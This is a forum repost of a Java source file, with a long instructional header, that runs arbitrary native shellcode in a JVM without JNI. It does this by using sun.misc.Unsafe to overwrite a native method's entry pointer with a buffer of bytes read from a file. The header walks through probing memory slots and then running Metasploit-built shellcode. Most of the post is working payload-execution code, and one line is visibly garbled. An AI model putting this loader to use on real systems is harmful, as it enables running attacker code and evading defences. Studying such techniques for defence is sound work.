Nytro Posted October 27, 2011 Report Posted October 27, 2011 Running shellcode from Java without JNI© 2011 Michael Schierl <schierlm at gmx dot de> (Twitter @mihi42)/* * Running shellcode from Java without JNI (i. e. loading a DLL from disk). * © 2011 Michael Schierl <schierlm at gmx dot de> (Twitter @mihi42) * * Tested versions: * .---------------------------.---------.------------.---------.-----------------. * | JVM version | MA slot | Native Ptr | Raw RET | EXITFUNC thread | * |===========================|=========|============|=========|=================| * | Oracle 1.4.2 Win32 | 25 | 15 | C3 | Not supported | * | Oracle 1.5 Win32 | 29 | 14 | C3 | Not supported | * | Oracle 1.6 Win32 | 29 | 19 | C3 | Not supported | * |---------------------------|---------|------------|---------|-----------------| * | Oracle 1.6 Linux 32-bit | 28 | 19 | C3 | Not supported | * '---------------------------'---------'------------'---------'-----------------' * * How to test other versions: * * 1. Compile this class with settings supported by your target JVM (and * -target 1.1) and run it without arguments. It will examine the class fields * for candidates that might hold a pointer to the method array. The method * array is a Java array that contains one entry for each method, and this * entry contains a native pointer to its entry point (for native methods). * Therefore we first have to find the offset of this pointer. First filter * out all values that are most likely not pointers (too small, too "round", * etc.) In case you have a debugger handy, look at the remaining candidates. * A method array will start with jvm flags (usually 0x00000001), a pointer * to the array's element class object, its length (which should be equal to * the number printed above the candidate table), and a pointer to each of the * elements. The rest (up to an architecture-dependent size) is padded with * zeros. If you don't have a debugger handy, just try all of the candidates * in the next step until you get success. * * [Note: On Win32, the slots before the pointer are filled with 0,0,0(,0,1,0,0).] * * 2. Run the class with the (suspected) correct method array slot number as its * (only) argument. If the slot was wrong, the JVM will most likely print an * obscure error message or crash. If the slot was correct, it will dump the * fields of the method object inside the array. One of these fields is a * native pointer of the function (by default, on Windows, this points to a * stub method that throws an UnsatisfiedLinkError). So examine the pointers * until you found this method, or again just use trial and error in the next * step. * * [Note: On Win32, there is 0 and another pointer before it, and 0,0,1 after] * * 3. Run the class with two parameters, first the method array slot number from * step one, then the native pointer slot number from step two. It will try to * fill that pointer with 0x4141414141414141, therefore examine the (expected) * crash log if it crashes at that pointer. If you cannot examine the crash log, * just try the following steps with each other alternative. The first two * parameters have to be kept for all the following steps, there are only parameters * to be added. * * 4. Run the class with "raw C3" as the 3rd and 4th parameter (if your architecture * uses a different opcode for RET, replace it, e. g. "raw DE AD BE EF". This code * will be written into a freshly allocated memory region and the region's base * address will be used for the pointer. This time, the program should not crash, * but return, and print a success message as last step. Running it with * "threaded raw C3" should result in the same results. * * 5. Use Metasploit or similar to build a native shellcode for your platform, * using EXITFUNC = thread (or similar) - EXITFUNC = RET would be better. Now run * the class with "file /path/to/your/shellcode" as 3rd and 4th parameter, which * should result in execution of your shellcode, but probably a crash afterwards. * Try again with "threaded file /path/to/your/shellcode". On Windows, both variants * run the shellcode, but crash/hang afterwards, therefore the "Not Supported" in the * last column of the table. [The unthreaded approach kills the Java process on exit, * the threaded approach hangs forever.] * * 6. Fill in the table above and send it to me */import java.io.File;import java.io.FileInputStream;import java.lang.reflect.Array;import java.lang.reflect.Field;import sun.misc.Unsafe;public class ShellcodeTest implements Runnable { private static int addressSize; public static void main(String[] args) throws Exception { // avoid Unsafe.class literal here since it may introduce // a synthetic method and disrupt our calculations. java.lang.reflect.Field unsafeField = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); Unsafe unsafe = (Unsafe) unsafeField.get(null); addressSize = unsafe.addressSize(); Class thisClass = Class.forName("ShellcodeTest"); final int METHOD_COUNT = thisClass.getDeclaredMethods().length + 1; System.out.println("[*] Shellcode class has " + METHOD_COUNT + " methods."); Field staticField = thisClass.getDeclaredField("addressSize"); Object staticFieldBase = unsafe.staticFieldBase(staticField); if (args.length == 0) { System.out.println("[*] Candidates for method array slot:"); long staticFieldOffset = unsafe.staticFieldOffset(staticField); printStaticSlots(unsafe, staticFieldBase, staticFieldOffset); System.out.println("[*] Select method array slot now!"); return; } long methodArraySlot = Integer.parseInt(args[0]); System.out.println("[*] Obtaining method array (slot " + methodArraySlot + ")"); Object methodArray = unsafe.getObject(staticFieldBase, methodArraySlot * addressSize); int methodCount = Array.getLength(methodArray); if (methodCount != METHOD_COUNT) { System.out.println("[-] ERROR: Array length is " + methodCount + ", should be " + METHOD_COUNT); return; } System.out.println("[+] Successfully obtained method array"); Field methodSlotField = Class.forName("java.lang.reflect.Method").getDeclaredField("slot"); methodSlotField.setAccessible(true); int shellcodeMethodSlot = ((Integer) methodSlotField.get(thisClass.getDeclaredMethod("shellcode", new Class[0]))).intValue(); System.out.println("[*] Obtaining method object (slot " + shellcodeMethodSlot + ")"); Object methodObject = Array.get(methodArray, shellcodeMethodSlot); System.out.println("[+] Successfully obtained method object"); if (args.length == 1) { System.out.println("[*] Candidates for native pointer slot:"); printStaticSlots(unsafe, methodObject, 30 * addressSize); System.out.println("[*] Select native pointer slot now!"); return; } long nativePtrSlot = Integer.parseInt(args[1]); long nativePtrTarget; boolean useThread = false; int argOffset = 2; if (args.length > 2 && args[2].equals("threaded")) { argOffset++; useThread = true; } if (args.length == argOffset) { System.out.println("[*] Setting native pointer slot to 0x4141414141414141 (should crash at that address!)"); nativePtrTarget = 0x4141414141414141L; } else { String mode = args[argOffset]; argOffset++; if (mode.equals("raw")) { // raw c3 nativePtrTarget = unsafe.allocateMemory(args.length - argOffset); for (int i = argOffset; i < args.length; i++) { unsafe.putByte(nativePtrTarget + i - argOffset, (byte) Integer.parseInt(args[i], 16)); } } else if (mode.equals("file")) { File file = new File(args[argOffset]); nativePtrTarget = unsafe.allocateMemory(file.length()); FileInputStream fis = new FileInputStream(file); int b; long ptr = nativePtrTarget; while ((b = fis.read()) != -1) { unsafe.putByte(ptr, (byte) ; ptr++; } } else { System.out.println("Unsupported mode: " + mode); return; } } System.out.println("[*] Trying to overwrite native method pointer (slot " + nativePtrSlot + ")"); if (addressSize == 8) unsafe.putLong(methodObject, nativePtrSlot * addressSize, nativePtrTarget); else unsafe.putInt(methodObject, nativePtrSlot * addressSize, (int) nativePtrTarget); System.out.println("[+] Successfully overwritten native method pointer"); if (useThread) { System.out.println("[*] Executing native method in thread"); Thread thread = new Thread(new ShellcodeTest()); thread.start(); System.out.println("[*] Thread started"); thread.join(); System.out.println("[*] Thread successfully finished"); } else { System.out.println("[*] Executing native method (drum roll...)"); shellcode(); System.out.println("[+] Executed native method and returned!"); } } public void run() { try { shellcode(); } catch (Throwable t) { t.printStackTrace(); } } private static void printStaticSlots(Unsafe unsafe, Object object, long maxOffset) { for (long offset = 0; offset < maxOffset; offset += addressSize) { long value = addressSize == 8 ? unsafe.getLong(object, offset) : unsafe.getInt(object, offset) & 0xFFFFFFFFL; System.out.println("\t" + offset / addressSize + "\t" + Long.toHexString(value)); } } private static native void shellcode();}Sursa: [Java] /* * Running shellcode from Java without JNI (i. e. loading a DLL from disk). - Pastebin.com Quote